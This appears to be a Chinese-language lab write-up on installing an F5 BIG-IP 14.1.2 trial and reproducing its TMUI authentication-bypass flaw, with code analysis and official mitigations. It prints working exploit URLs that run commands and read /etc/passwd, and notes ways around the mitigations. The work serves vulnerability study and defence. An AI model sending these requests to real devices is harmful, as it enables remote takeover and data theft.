---
description: 图是偷的，过程是自己的
---

# F5 big-ip从环境搭建到漏洞复现

### 1、 注册账号

去F5官网下载90天试用版本。 地址：[https://f5.com/zh/products/trials/product-trials](https://f5.com/zh/products/trials/product-trials)

打开网站后，选择BIG-IP云版本

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA5VoKc02iUiTRuloa%2Fbigip01.jpg?alt=media\&token=8268a027-a51d-403d-b51e-ac8e1c43f969)

&#x20;

点击后，按照页面中的指示开始注册账号并申请key

```
1. 登录或注册
使用 F5 支持 ID 登录，并申请试用版密钥。
若无 F5 支持帐户，请单击下方链接进行创建。

2. 申请密钥
登录后，请选择 BIGIP 云版本及所需的许可数量。订单将通过您创建支持帐户时使用的电子邮件发送给您。

3. 下载软件
您可在等待密钥期间下载软件。只需选择虚拟机监控程序（见下文）开始下载即可。

4. 启动
请使用密钥解锁试用版，并开始在自己的环境中设置 BIG-IP 云版本。使用我们的其中一种云解决方案模板即可快速开始配置。
```

注册地址如下：[https://login.f5.com/resource/login.jsp?ctx=719748](https://login.f5.com/resource/login.jsp?ctx=719748)

若没有账号，点击页面中的`create one`即可开始注册

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA5xNIa2UXo1OGeRFH%2Fbigip02.jpg?alt=media\&token=ac07fa2a-8f58-4359-bce8-f4e759557336)

因为我已经注册了，所以下面的步骤就不显示了，总之第一步，会输入邮箱地址

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA69xG4xkFk8t4_TDk%2Fbigip03.jpg?alt=media\&token=c46df860-bd89-431f-803a-721c4f056c5b)



之后在邮箱中会出现一个设置密码的链接

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA6ErEb67tSgieLMEs%2Fbigip04.jpg?alt=media\&token=9c4592fd-09ec-40e0-9446-dabe8baf644a)

（鬼知道中间省略了多少个步骤）

按照提示申请完秘钥之后，会收到这样一封邮件：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA6L65sudXrFf71Flj%2Fbigip05.jpg?alt=media\&token=6995fcd8-3f95-4448-a03d-3a6f54bdce3b)

### 2、 导入虚拟机

下载BIG-IP的.ova文件，这里因为在外面下载的太慢了，百度链接如下：\
14.1.2版本OVA文件：\
链接：[https://pan.baidu.com/s/1VFHVwLhiDsW3W2x7fwcUuw](https://pan.baidu.com/s/1VFHVwLhiDsW3W2x7fwcUuw) \
提取码：rbtk

14.1.2版本VMDK文件：（打开虚拟机，配置IP后可**直接**漏洞利用，root,admin/Admin!@#456）\
链接：[https://pan.baidu.com/s/1FdWZg9lf7dF109pLxedn7A](https://pan.baidu.com/s/1FdWZg9lf7dF109pLxedn7A) 提取码：ali4

下载成功后，导入到虚拟机，开机即可

开机后，会提示输入密码，前两次都是默认账号密码：root/default

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA6bLizQ3--jpRFxgH%2Fbigip06.jpg?alt=media\&token=b775e79a-7aee-4cba-87b8-d5c08dc633be)

之后修改密码，要求：必须包含大小写字母与数字，符号，长度不得小于8位，此处可设置Admin!@#456

设置该虚拟机的网络，网卡任意模式即可 （原有好几块网卡，可以删除一些，最后只剩一张）

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA6mtnAaFUfU2Y98VF%2Fbigip07.jpg?alt=media\&token=cb03fa8e-efdd-4769-a525-689ff2c97d27)

在/config目录下，输入config，设置IP地址，默认选择IPV4，然后连续按两次回车，等待命令行出现即可

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA6sHMQ3DnV0xCCZ1_%2Fbigip08.jpg?alt=media\&token=38b3ff20-5049-447f-af1e-79fa70cf196c)

设置好IP地址后，建议使用nmap等端口扫描工具扫一下，毕竟我的环境和小伙伴的环境BIGIP的运行端口都不一样

打开网站，用户名与密码不是默认的admin/admin（那是高版本的），而是刚设置的Admin!@#456

### 3、 激活big-ip

此时网站处于未激活状态，可点击NEXT进行激活

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA6zaG6FlqAzRxJ3SQ%2Fbigip09.jpg?alt=media\&token=996f1790-1921-4a1a-878a-ce93a7b6f55b)

输入申请到的邮箱里的registration key.点击Next

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA73Aqu_ymdWuDVqYu%2Fbigip10.jpg?alt=media\&token=74600a7f-82bb-4f1d-9f26-e7ba632cd99f)

将1中的内容复制到2中新开的网页中并NEXT，最后将生成的内容粘贴到3中即可

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA77xhqT-fS46YqQLy%2Fbigip11.jpg?alt=media\&token=8d895df4-6e05-4d90-8757-3a5acc3b08a7)

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA7DJlWLBO30VUNT-X%2Fbigip12.jpg?alt=media\&token=ce446f0c-c1b3-4312-b4d8-2d61ef00a90f)

重新登录，即可激活成功

### 4、 漏洞利用

```bash
## RCE:
http://IP:PORT/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami

## 文件读取：
http://IP:PORT/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
```

效果图如下：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MC9vog82lEbX3wZSvKd%2F-MCA7PvGWmNMKXeuU6ak%2Fbigip13.jpg?alt=media\&token=cf827a3f-6472-42f2-9428-7fb4cf911119)



### 5、漏洞分析

**F5 Tmsh命令执行**

创建bash脚本:对应的F5的命令为command后面内容 请求路径为下图:

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjQNHhZTryWi_dI9Qy%2Fimage.png?alt=media\&token=8820d8b8-69b3-403f-9768-c0a69f1f34fd)

URL中存在../;绕过登录验证，这个是属于Tomcat对URI解析差异导致绕过了原有的权限校验，导致可以直 接访问到tmshCmd.jsp, 对应代码:tmshCmd\_jsp.java 文件 cmd参数直接从请求中获取。

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjQXTFOI-MNd_eQPul%2Fimage.png?alt=media\&token=8903eaa0-6847-4356-96e3-8439a075ff73)

跟进WorkspaceUtils类中runTmshCommand方法，从导入包中寻找com.f5.tmui.locallb.handler.workspace.WorkspaceUtils对应的文件。

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjQgzeqDqvH57NIvhH%2Fimage.png?alt=media\&token=3b006477-3629-436f-a181-c53ade791c76)

在lib中找到对应jar包，反编译：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjQsF6PwJ3iiblhCzY%2Fimage.png?alt=media\&token=d84d0495-80e6-49ab-9d6f-5cde8bfe10d4)

紧接着上文runTmshCommand方法，可以看到在38行处，做了命令判断，命令被分割后，仅允许 create，delete，list，modify等开头的命令。

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjR1nDZdcnQedQsGXs%2Fimage.png?alt=media\&token=0de4fb1a-85f5-41d9-aa5b-b8454e684f3f)

跟进Syscall.callElevated方法，调用了call方法：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjRMKF7iYFA8zYa4hq%2Fimage.png?alt=media\&token=c16b9637-8b93-41e3-a6b0-1c62b94963d3)

可以看到，args放到了ObjectManager里面，通过DataObject\[] rs = om.queryStats(query);这行代码 把执行的命令的结果返回。

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjRiexVzRqQajr1Mfe%2Fimage.png?alt=media\&token=bead82bb-947d-489c-a5da-1598ab4bb0d7)

**F5 任意文件写入**

请求路径：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjS0C-70bZXQb5hoE7%2Fimage.png?alt=media\&token=b31bd011-72fb-46e2-a990-43ab8397ebf9)

对应的jsp代码文件：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjSWjtymUYw4HpzB82%2Fimage.png?alt=media\&token=c2f38923-f0f1-4250-a981-c7682b07ce33)

跟进对应的save方法，可以看到参数一路传递，fileName为路径，content为内容，最终通过 writer.println写入。

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjSjIqU97wXvydPuDk%2Fimage.png?alt=media\&token=37efcda7-9edc-4c57-9bc7-4e89153cee35)

**F5任意文件读取**

请求路径：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjSrpFvYCFHe6bRJyO%2Fimage.png?alt=media\&token=99857661-6cd7-4b7c-a07f-7f28e23497d3)

对应的jsp代码文件：

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjSzTIp1aWF85XMqoc%2Fimage.png?alt=media\&token=88099d45-3215-41bd-94d7-bd9ebbba0649)

对应具体实现方法:

![](https://172932098-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MC0hWgbNjaxH4i6ny5D%2F-MDjQELcFpuXeBFkPVLa%2F-MDjTBBqpTnSqInMqIhi%2Fimage.png?alt=media\&token=0d7af150-f3c7-464e-be70-f0f33e3256a2)

### 6、修复方案

7 月 7 日更新：

官方建议可以通过以下步骤暂时缓解影响（临时修复方案）

1\) 使用以下命令登录对应系统：tmsh\
2\) 编辑 httpd 组件的配置文件；\
edit /sys httpd all-properties\
3\) 文件内容如下 include ' \<LocationMatch "...;."> Redirect 404 / \</LocationMatch> '\
4\) 按照如下操作保存文件；\
按下 ESC 并依次输入：wq\
5\) 执行命令刷新配置文件；\
save /sys config\
6\) 重启 httpd 服务。\
restart sys service httpd 并禁止外部IP对 TMUI 页面的访问。

7 月 7 日更新： 官方初版安全通告里给出的临时缓解方案是在 httpd 配置文件中加入如下部分，以禁止请求的 url 路径里出现 ..; 进行路径跳转：

```bash
include '<LocationMatch ".*\.\.;.*">Redirect 404 /</LocationMatch>'
```

然而却可以通过 /hsqldb; 无需跳转，去直接请求 org.hsqldb.Servlet，进一步执行 Java 代码。这种漏洞利用的方式，可以绕过上述配置规则。

7 月 9 日更新：

官方安全通告里给出的第二版临时缓解方案中在 httpd 配置文件中加入规则配置如下，以禁止请求的 url 路径里出现 ; 进行授权认证绕过：

```bash
include '<LocationMatch ";">Redirect 404 /</LocationMatch>'
```

然而却可以通过 /hsqldb%0a 的请求方式，再次绕过以往的漏洞缓解规则，去直接请求org.hsqldb.Servlet，进一步执行 Java 代码。
